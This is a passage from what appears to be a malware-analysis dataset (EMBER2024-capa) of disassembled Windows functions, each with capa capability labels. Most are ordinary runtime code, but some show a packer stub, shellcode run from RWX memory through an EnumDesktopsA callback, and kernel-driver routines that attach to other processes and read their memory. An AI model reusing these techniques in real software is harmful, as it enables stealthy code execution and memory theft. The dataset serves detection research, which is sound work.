joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14007ec00]
mov dword [rax], 1
mov rax, qword [0x14007ec10]
mov dword [rax], 1
mov rax, qword [0x14007ec20]
mov dword [rax], 1
mov rax, qword [0x14007ebf0]
mov dword [rax], 1
mov rax, qword [0x14007ea20]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140002ed0
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
sub rsp, 0x28
xor r8d, r8d
mov r13, rcx
mov r12, rdx
test rdx, rdx
je 0x140002ef1
mov rcx, rdx
call sym.strlen
mov r8, rax
mov rcx, r12
mov r9, r13
mov edx, 1
call sym.fwrite
mov rcx, r13
add rsp, 0x28
pop r12
pop r13
jmp sym.fflush

Function at 0x140002fb0
Capabilities:
Write file on windows

Disassembly:
push r12
sub rsp, 0x20
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov r8d, 0x4b
mov edx, 1
lea rcx, str._GC__cannot_register_thread_local_variable__too_many_thread_local_variables
mov r12, rax
mov r9, rax
call sym.fwrite
mov rcx, r12
call sym.fflush
mov ecx, 1
call sym.exit
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140008100
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x20
mov rbx, rdx
mov r13, rcx
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov rcx, r13
mov r8, rbx
mov edx, 1
mov r12, rax
mov r9, rax
call sym.fwrite
mov rcx, r12
add rsp, 0x20
pop rbx
pop r12
pop r13
jmp sym.fflush
Function at 0x14000fba0
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
push r12
push rbx
sub rsp, 0x150
movaps xmmword [rbp - 0x20], xmm6
cmp qword [0x140095858], 0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov byte [rbp - 0x131], 1
je 0x14000fc92
mov rax, qword [0x140095848]
lea rcx, [rbp - 0x120]
mov rdx, rbp
mov qword [rbp - 0x130], rax
lea rax, [rbp - 0x130]
mov qword [0x140095848], rax
call sym._setjmp
cdqe
mov qword [rbp - 0x128], rax
test rax, rax
jne 0x14000fcb8
xor r12d, r12d
cmp qword [rbp + 0x10], 0
je 0x14000fc63
mov rcx, qword [rbp + 0x10]
call sym.strlen
mov edx, 7
lea rcx, [0x140022020]
cmp rax, rdx
movq xmm6, rax
mov rbx, rax
cmovge rdx, rax
movq xmm0, rdx
add rdx, 0x11
punpcklqdq xmm6, xmm0
call sym.rawNewObj__system_5697.constprop.0
mov rdx, qword [rbp + 0x10]
lea r8, [rbx + 1]
movups xmmword [rax], xmm6
lea rcx, [rax + 0x10]
mov r12, rax
call sym.memcpy
mov rcx, r12
call qword [0x140095858]
mov rax, qword [0x140095848]
cmp qword [rbp - 0x128], 0
mov byte [rbp - 0x131], 0
mov rax, qword [rax]
mov qword [0x140095848], rax
jne 0x14000fd25
movzx eax, byte [rbp - 0x131]
test al, al
jne 0x14000fd40
movaps xmm6, xmmword [rbp - 0x20]
add rsp, 0x150
pop rbx
pop r12
pop rbp
ret
mov rax, qword [0x140095848]
mov rax, qword [rax]
mov qword [rbp - 0x128], 0
mov qword [0x140095848], rax
mov rax, qword [0x140095840]
mov rbx, qword [rax + 0x28]
test rbx, rbx
je 0x14000fcf5
add qword [rbx - 0x10], 8
mov rax, qword [0x140095840]
test rax, rax
je 0x14000fd10
mov rdx, qword [rax - 0x10]
lea rcx, [rax - 0x10]
sub rdx, 8
mov qword [rax - 0x10], rdx
cmp rdx, 7
ja 0x14000fd10
call sym.addZCT__system_5314.constprop.0
cmp qword [rbp - 0x128], 0
mov qword [0x140095840], rbx
je 0x14000fc92
mov rcx, qword [0x140095840]
test rcx, rcx
je 0x14000fd70
call sym.raiseExceptionAux__system_2868
jmp 0x14000fc92
mov ecx, 2
call qword [sym.__acrt_iob_func]
mov rcx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov edx, 1
mov r12, rax
mov r9, rax
call sym.fwrite
mov rcx, r12
call sym.fflush
jmp 0x14000fca1
call sym.sysFatal__system_2900.constprop.0
nop
nop word cs:[rax + rax]
Function at 0x140015a10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
push rbx
test rdx, rdx
mov eax, r8d
lea r8, [rdx + 7]
mov r9, rcx
cmovns r8, rdx
mov r10, rdx
xor r11d, r11d
lea rcx, [0x140024180]
sar r8, 3
cmp rdx, 7
jle 0x140015af8
nop
mov ebx, dword [r9 + r11*8 + 4]
xor eax, dword [r9 + r11*8]
add r11, 1
mov esi, ebx
movzx edx, bl
shr esi, 0x18
mov edx, dword [rcx + rdx*4 + 0xc00]
xor edx, dword [rcx + rsi*4]
movzx esi, al
xor edx, dword [rcx + rsi*4 + 0x1c00]
mov esi, eax
shr esi, 0x18
xor edx, dword [rcx + rsi*4 + 0x1000]
movzx esi, bh
shr ebx, 0x10
movzx ebx, bl
mov esi, esi
xor edx, dword [rcx + rsi*4 + 0x800]
xor edx, dword [rcx + rbx*4 + 0x400]
movzx ebx, ah
shr eax, 0x10
movzx eax, al
mov ebx, ebx
xor edx, dword [rcx + rbx*4 + 0x1800]
xor edx, dword [rcx + rax*4 + 0x1400]
mov eax, edx
cmp r8, r11
jg 0x140015a40
shl r8, 3
mov edx, 8
cmp r10, 7
cmovle r8, rdx
cmp r10, r8
jle 0x140015af0
add r8, r9
lea rcx, [0x140024180]
add r9, r10
nop dword [rax]
movzx edx, byte [r8]
add r8, 1
xor edx, eax
shr eax, 8
movzx edx, dl
xor eax, dword [rcx + rdx*4]
cmp r9, r8
jne 0x140015ad8
pop rbx
pop rsi
ret
xor r8d, r8d
jmp 0x140015abf

Function at 0x140019830
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
mov r9, rdx
test rdx, rdx
je 0x140019896
mov rcx, qword [rcx]
mov r8, qword [r10 + 8]
cmp rdx, 0xffffffffffffffff
je 0x1400198a0
mov rax, 0xffffffffffffffff
xor edx, edx
div r9
lea rax, [rcx + r8]
xor r8, rcx
ror rcx, 9
mov r11, r8
xor rcx, r8
ror r8, 0x1c
shl r11, 0xe
xor rcx, r11
mov r11, rdx
add r11, rax
jb 0x140019854
movq xmm0, rcx
lea rcx, [r9 + 1]
movq xmm1, r8
xor edx, edx
div rcx
punpcklqdq xmm0, xmm1
movups xmmword [r10], xmm0
mov r9, rdx
mov rax, r9
ret
lea r9, [rcx + r8]
xor r8, rcx
ror rcx, 9
mov rax, r8
xor rcx, r8
ror r8, 0x1c
shl rax, 0xe
movq xmm2, r8
xor rcx, rax
mov rax, r9
movq xmm0, rcx
punpcklqdq xmm0, xmm2
movups xmmword [r10], xmm0
ret

Function at 0x1400198e0
Capabilities:
Encode data using xor

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [rdx]
mov rdi, qword [rdx + 8]
mov r12, rbx
mov rsi, rcx
cmp rbx, rdi
jle 0x140019907
lea rcx, [0x140026760]
call sym.failedAssertImpl__systemZassertions_56
sub rdi, rbx
mov r8, rdi
je 0x14001996a
mov r9, qword [rsi]
mov rcx, qword [rsi + 8]
cmp rdi, 0xffffffffffffffff
je 0x140019980
mov rax, 0xffffffffffffffff
xor edx, edx
div rdi
lea rax, [r9 + rcx]
xor rcx, r9
ror r9, 9
mov rdi, rdx
mov r10, rcx
xor r9, rcx
ror rcx, 0x1c
shl r10, 0xe
xor r9, r10
add rdi, rax
jb 0x140019928
add r8, 1
movq xmm0, r9
movq xmm1, rcx
xor edx, edx
div r8
punpcklqdq xmm0, xmm1
movups xmmword [rsi], xmm0
lea r12, [rdx + rbx]
mov rax, r12
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
ret
mov rdx, r9
mov rax, r9
add r9, rcx
xor rdx, rcx
ror rax, 9
lea r12, [r9 + rbx]
mov r8, rdx
xor rax, rdx
ror rdx, 0x1c
shl r8, 0xe
movq xmm2, rdx
xor rax, r8
movq xmm0, rax
mov rax, r12
punpcklqdq xmm0, xmm2
movups xmmword [rsi], xmm0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x1400199d0
Capabilities:
Encode data using xor

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [rcx]
mov rsi, qword [rcx + 8]
mov r12, rbx
cmp rsi, rbx
jge 0x1400199f3
lea rcx, [0x140026760]
call sym.failedAssertImpl__systemZassertions_56
sub rsi, rbx
mov r8, rsi
je 0x140019a61
mov r9, qword [0x140096a30]
mov rcx, qword [0x140096a38]
cmp rsi, 0xffffffffffffffff
je 0x140019a70
mov rax, 0xffffffffffffffff
xor edx, edx
div rsi
lea rax, [rcx + r9]
xor rcx, r9
ror r9, 9
mov rsi, rdx
mov r10, rcx
xor r9, rcx
ror rcx, 0x1c
shl r10, 0xe
xor r9, r10
add rsi, rax
jb 0x140019a1b
add r8, 1
movq xmm0, r9
movq xmm1, rcx
xor edx, edx
div r8
punpcklqdq xmm0, xmm1
movaps xmmword [0x140096a30], xmm0
lea r12, [rdx + rbx]
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
mov rdx, r9
mov rax, r9
add r9, rcx
xor rdx, rcx
ror rax, 9
lea r12, [r9 + rbx]
mov r8, rdx
xor rax, rdx
ror rdx, 0x1c
shl r8, 0xe
movq xmm2, rdx
xor rax, r8
movq xmm0, rax
mov rax, r12
punpcklqdq xmm0, xmm2
movaps xmmword [0x140096a30], xmm0
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x14001a580
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x14001b1b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140096b88]
test eax, eax
je 0x14001b24a
lea rax, [0x140096b60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140096b90]
mov qword [rbp - 8], rax
jmp 0x14001b22e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14001b222
cmp qword [rbp - 0x10], 0
je 0x14001b222
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14001b1e8
lea rax, [0x140096b60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14001b24b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x14001b350
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14001b378
mov eax, 0
jmp 0x14001b3c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14001b3a1
mov eax, 0
jmp 0x14001b3c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14001b3c1
mov eax, 0
jmp 0x14001b3c6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14001b3cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001b44a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14001b441
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14001b441
mov rax, qword [rbp - 8]
jmp 0x14001b45f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14001b414
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14165ce30
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14165ce3d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14165ce4d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14165ce35
lea eax, [rcx + 1]
jmp 0x14165ce5b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14165ce6e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14165ce54
sub eax, 3
jb 0x14165ce8e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14165cedd
sar eax, 1
movsxd rbp, eax
jb 0x14165cec4
jmp 0x14165ce9c
add ebx, ebx
jne 0x14165ce9a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14165cec4
inc ecx
add ebx, ebx
jne 0x14165ceaa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14165cec4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14165cebd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14165ceac
add ecx, 2
jmp 0x14165cec9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14165cdf2
jmp 0x14165ce3d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x1623000]
mov eax, dword [rdi]
or eax, eax
je 0x14165cf49
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1665930]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14165ceed
jns 0x14165cf22
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14165cf2c
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14165cf43
mov qword [rbx], rax
add rbx, 8
jmp 0x14165cf0d
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14165cf8d
cmp al, 0xef
ja 0x14165cf75
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14165cf55
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x14165cf64
mov eax, dword [rdi]
add rdi, 4
jmp 0x14165cf64
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14165d00c], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14165d00c
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14165cffc
sub rsp, 0xffffffffffffff80
jmp 0x1400c1da4
Function at 0x1400021d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400098a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400021f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400021f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400021f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000224d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002244
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400021f0
add rax, 0x28
cmp rax, r9
jne 0x140002230
xor eax, eax
ret

Function at 0x140002250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400098a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000226f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002278
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000226f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400098a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000232f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002338
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007b30
Capabilities:
Encode data using xor

Disassembly:
mov r10d, 5
mov r9d, dword [rcx]
mov r8d, dword [rcx + 4]
nop dword [rax]
mov r11d, r10d
and r11d, 3
mov eax, dword [rdx + r11*4 + 0x10]
xor eax, r9d
rol eax, 1
add eax, r9d
xor r8d, eax
mov eax, dword [rdx + r11*4]
xor eax, r8d
rol eax, 1
add eax, r8d
xor r9d, eax
sub r10d, 1
jae 0x140007b40
mov dword [rcx], r9d
mov dword [rcx + 4], r8d
ret

Function at 0x140007b80
Capabilities:
Encode data using xor

Disassembly:
xor r10d, r10d
mov r9d, dword [rcx]
mov r8d, dword [rcx + 4]
nop word [rax + rax]
mov r11d, r10d
add r10d, 1
and r11d, 3
mov eax, dword [rdx + r11*4]
xor eax, r8d
rol eax, 1
add eax, r8d
xor r9d, eax
mov eax, dword [rdx + r11*4 + 0x10]
xor eax, r9d
rol eax, 1
add eax, r9d
xor r8d, eax
cmp r10d, 6
jne 0x140007b90
mov dword [rcx], r9d
mov dword [rcx + 4], r8d
ret
Function at 0x140007c20
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x180
lea rbp, [rsp + 0x80]
lea rsi, [0x140009028]
call fcn.140001500
lea rdi, [rbp - 0x40]
mov ecx, 0x27
movabs rax, 0x776f656d776f656d
rep movsq qword [rdi], qword [rsi]
mov qword [rbp - 0x60], rax
sub rsp, 0x140
movabs rdx, 0x776f656d776f656d
lea r13, [rsp + 0x20]
mov qword [rbp - 0x58], rdx
lea r14, [rbp - 0x60]
mov rdx, r13
mov byte [rbp - 0x50], 0
mov rbx, r13
movzx eax, word [rsi]
lea rsi, [rbp - 0x40]
mov word [rdi], ax
lea rdi, [rsp + 0x28]
movabs rax, 0x9090909090909090
sub rdx, rdi
mov qword [rsp + 0x20], rax
lea ecx, [rdx + 0x140]
mov qword [rsp + 0x158], rax
sub rsi, rdx
add edx, 0x13a
shr ecx, 3
shr edx, 3
rep stosq qword [rdi], rax
lea rdi, [rsp + 0x28]
mov ecx, edx
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0xf2]
mov qword [rsp + 0x152], rax
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x160]
mov rcx, r13
nop dword [rax]
mov rdx, r14
call fcn.140007b80
add rcx, 8
cmp rcx, rdi
jne 0x140007cf8
lea rcx, str.encrypted:_n
mov rsi, r13
lea r12, str.x_02x
call fcn.140007bd0
nop
movzx edx, byte [rsi]
mov rcx, r12
add rsi, 1
call fcn.140007bd0
cmp rsi, rdi
jne 0x140007d20
lea rsi, [0x140009013]
mov rcx, rsi
call fcn.140007bd0
mov rcx, r13
nop word cs:[rax + rax]
mov rdx, r14
call fcn.140007b30
add rcx, 8
cmp rcx, rdi
jne 0x140007d50
lea rcx, str.decrypted:_n
call fcn.140007bd0
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007bd0
cmp rbx, rdi
jne 0x140007d70
mov rcx, rsi
call fcn.140007bd0
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x1000
mov edx, 0x140
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, r13
mov r8d, 0x140
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memmove
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
lea rsp, [rbp + 0x100]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop rbp
ret
Function at 0x140001050
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x140001097
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001097
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rbx, rax
test rax, rax
je 0x140001097
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rax, rbx
jmp 0x140001099
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x14000113c
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, rcx
test rcx, rcx
jne 0x140001161
xor eax, eax
jmp 0x1400011d4
mov rbx, qword [rcx + 0x28]
test rbx, rbx
jne 0x140001175
call fcn.140001284
mov ecx, eax
mov rbx, qword [rcx + rdi]
mov rax, rbx
shr rax, 0x38
cmp al, 0x40
jne 0x1400011d1
cmp byte [0x140004058], 0
jne 0x1400011c5
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov rcx, rdi
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, cr3
lea rcx, [rsp + 0x20]
mov qword [0x140004050], rax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov byte [0x140004058], 1
mov rax, qword [0x140004050]
test rax, rax
jne 0x1400011d4
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001820
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret

Function at 0x1400011ec
Capabilities:
Get system information on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r8d, 0x20
lea r9, [r11 - 0x38]
lea rdx, [r11 - 0x30]
mov dword [r11 - 0x38], r8d
mov edi, ecx
call fcn.140001847
mov edx, dword [rsp + 0x20]
mov ecx, 0x400
mov r8d, 0xb1127cfc
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
jne 0x140001241
xor eax, eax
jmp 0x140001269
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rbx
mov ecx, edi
call fcn.140001847
test eax, eax
je 0x140001266
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x14000123d
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001820
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x14000145c
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x1400014fe
and qword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400014fe
call fcn.14000113c
mov rdi, rax
test rax, rax
je 0x1400014fe
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call fcn.14000154c
test rax, rax
je 0x1400014fe
and qword [rsp + 0x48], 0
mov rcx, rax
and ecx, 0xfff
mov r8d, 0x1000
sub r8, rcx
mov r9d, 1
mov rcx, qword [rbx + 0x20]
mov rdx, rax
cmp r8, rcx
cmovae r8, rcx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
xor eax, eax
jmp 0x140001503
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140001778
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x1400017ff
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400017ff
call fcn.14000113c
mov rcx, qword [rsp + 0x30]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rdi + 0x10]
mov rcx, rbx
call fcn.14000154c
test rax, rax
je 0x1400017ff
mov rdx, qword [rdi + 0x18]
lea r9, [rsp + 0x38]
mov rcx, rax
mov r8d, 0x1000
and ecx, 0xfff
sub r8, rcx
mov rcx, qword [rdi + 0x20]
cmp r8, rcx
cmovae r8, rcx
mov rcx, rax
call fcn.140001704
xor eax, eax
jmp 0x140001804
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret